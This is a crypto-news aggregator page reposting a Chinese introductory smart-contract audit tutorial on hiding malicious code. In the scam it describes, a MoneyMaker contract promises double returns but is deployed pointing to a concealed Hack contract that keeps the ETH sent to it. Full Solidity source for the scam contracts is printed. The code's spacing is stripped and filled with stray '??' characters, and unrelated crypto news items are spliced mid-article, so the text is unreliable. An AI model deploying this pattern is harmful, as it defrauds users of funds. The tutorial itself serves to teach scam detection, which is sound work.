比特幣行情 比特幣行情
Ctrl+D 比特幣行情
ads
首頁 > FIL幣 > Info

MAKE:智能合約安全審計入門篇 —— 移花接木

Author:

Time:1900/1/1 0:00:00

概述

上期我們了解了利用tx.origin進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。

前置知識

大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個A合約并告訴受害者我們會在部署A合約的構造函數中傳入B合約的地址并將B合約開源,其實我們會在部署A合約時傳入C合約的地址,如果受害者完全信任我們沒有檢查部署A合約的那筆交易,我們就完美的將惡意代碼隱藏在了C合約中。我們可以從下圖來理解這個邏輯:

用戶以為的調用路徑:

部署合約A傳入合約B地址,這樣調用路徑為正常路徑。

實際的調用路徑:

新的歐盟數據法案不會將智能合約定為非法:金色財經報道,歐盟委員會的一位發言人表示,新的歐盟數據法案不會將智能合約定為非法,這消除了加密行業對扼殺區塊鏈創新的擔憂。該委員會于2022 年提出了該法案,此前業界擔心,目前正在審議的歐盟法案《數據法案》強加了不可行的要求,即智能合約應能承受操縱、安全重置和控制訪問,發言人補充稱,盡管新規定將涵蓋軟件,例如自動執行合同(在數據共享的背景下),但對智能合約軟件的供應商來說應該不會有問題。[2023/6/21 21:50:39]

部署合約A傳入合約C地址,這樣調用路徑為非正常路徑。

下面我們使用一個簡單的例子來分析這個騙局:

惡意代碼

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}

智能合約中的USDT供應百分比達到1個月高點:金色財經報道,據Glassnode數據顯示,智能合約中的美元 USDT供應百分比剛剛達到1個月高點 ,數值為20.617%。[2022/1/4 8:23:25]

騙局分析

可以看到,上述代碼中存在三個合約,我們先結合前置知識中的A,B,C三個角色來區分三個合約分別代表什么角色:

MoneyMaker合約代表A合約;

Vault合約代表B合約;

Hack合約代表C合約。

所以用戶以為的調用路徑為:

MoneyMaker->Vault。

而實際的調用路徑為:

MoneyMaker->Hack。

下面我們來看看攻擊者如何完成騙局的:

1.Evil部署Vault(B)合約并在合約中留存100ETH資金,在鏈上將Vault(B)合約開源;

跨鏈智能合約平臺Clover發布波卡插槽競拍策略:11月5日消息,跨鏈智能合約平臺Clover發布波卡插槽競拍策略,將參與前5個插槽拍賣,使用代幣CLV總供應量的20%(2000萬枚CLV)建立代幣獎勵池獎勵眾貸支持者,平行鏈拍賣開始時間為11月11日,當拍賣成功、項目平行鏈啟動時,立即發放28%的眾貸獎勵其余的72%,將在接下來的23個月里,按月解鎖。若Clover在第一批拍賣中未成功競拍,將用額外的CLV補償眾貸活動中的貢獻者。[2021/11/5 6:33:37]

2.Evil部署Hack(C)惡意合約;

3.Evil放出消息說他將會部署一個開源的賺錢MoneyMaker(A)合約,部署時會將Vault(B)合約地址傳入且會調用Vault.setMacker()將maker角色設置為MoneyMaker合約地址,任何人調用MoneyMaker.makeMoney()向合約中打入不少于一個以太都會得到雙倍以太的回報;

4.Bob收到消息,了解到MoneyMaker合約的存在,他看了MoneyMaker(A)和Vault(B)合約的代碼并檢查了Vault(B)合約中的余額發現邏輯確實如Evil說的那樣,他在沒有檢查MoneyMaker(A)部署交易的情況下就相信了Evil;

BM:將構建一個BTC客戶端或錢包作為智能合約:金色財經報道,就推特網友有關“為什么EOS上的WBTC會比以太坊上的更安全,以及將如何就V神此前有關比特幣方面存在msig的評論設計安全性”的提問,EOS創始人Daniel Larimer(BM)回復稱:“我將構建一個BTC客戶端/錢包作為智能合約,并利用15個多簽名(multisig)中的8個來提供比采礦池更多的去中心化。然后,將發布軟件供BTC池運營商部署(可選擇)。”[2020/8/20]

5.Bob調用MoneyMaker.makeMoney()向合約中打入自己全部身家20ETH,在他滿懷期待等著收到Vault(B)打來的40ETH時等來的卻是一句"Haha,youretherismine!"。

咋回事呢?其實這個騙局非常簡單但是很常見。Evil在部署MoneyMaker合約時傳入的并不是Vault合約的地址,而是傳入了Hack合約的地址。所以當Bob調用MoneyMaker.makeMoney()時并不會像他想像中的那樣MoneyMaker.makeMoney()去調用Vault.transfer()回打給他雙倍的以太,而是調用了Hack.transfer()拋出了一個事件:"Haha,youretherismine!"。最后Evil調用Vault.withrow()將Vault合約中的100ETH轉出,并通過Hack.withrow()將Bob轉入的20ETH轉出。

動態 | EOSIO智能合約 V1.6.0-RC1預發行版已引入REX:Larryk85賬戶在Github上更新EOSIO智能合約V1.6.0預發行版,此版本將REX代碼引入eosio.system系統合約內,以幫助在EOSIO智能合約 V1.6.0正式發布之前改進REX代碼。 該代碼在默認情況下,eosio.system系統合約的源代碼設置為引導帳戶名稱競拍費用、RAM交易費轉到REX收益池。在測試狀態下,只在接收新費用時才會獲取前述費用,不會觸及已經在eosio.ramfee和eosio.names賬戶中任何資金,且通過臨時設置,可以在源代碼中臨時禁止將這些費用轉入 REX 收益池。[2018/12/13]

預防建議

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。

Tags:MAKEULTMakerVAULTNFTMAKEThe Vaultmakerdao是什么幣VAULTS

FIL幣
Galxe:易被忽視的Web3增長困境:增長平臺自身是否也在增長?

作者:Web3Traveler在挑選任務平臺時,項目方不僅需要考量平臺帶來的流量,更需要思考:平臺是否在實現自身增長。“工欲善其事,必先利其器。智者當借力而行”.

1900/1/1 0:00:00
區塊鏈:火星云礦將在12月31日前清退關中國大陸挖礦資產和服務

10月18日,火星云礦發布《關于有序清退中國大陸挖礦資產和服務的公告》,宣布12月31日前完成中國境內礦機托管和租賃服務的清退工作.

1900/1/1 0:00:00
BUR:自動做市商BurgerSwap發布補償計劃,補償代幣cBURGER將空投給符合條件的用戶

據官方消息,BSC鏈上首個自動做市商BurgerSwap發布補償計劃,在區塊高度7781159,持有遭受攻擊的BURGERLP將有資格獲得補償.

1900/1/1 0:00:00
ETH:我如何逃過一場 Azuki 騙局

撰文:Kouk.eth??編譯:Luffy,ForesightNews我想要講述一個故事,我的AzukiNFT差點被騙走.

1900/1/1 0:00:00
FOR:Foresight Ventures市場周報:退潮后,才知道誰在裸泳?

A.市場觀點 一、宏觀流動性 貨幣流動性改善。美國?4?月?CPI?通脹弱于前值和預期,市場抹去?6?月加息預期,押注最早可能在?9?月轉向放松政策.

1900/1/1 0:00:00
NFT:NFT資產瀏覽器NFTSCAN發布公測版

巴比特訊,7月22日,NFT資產瀏覽器NFTSCAN發推宣布發布公開測試版。據悉,NFTSCAN是基于以太坊網絡的NFT資產瀏覽器產品,測試階段已收錄40個熱門NFT項目,例如OpenSea、R.

1900/1/1 0:00:00
ads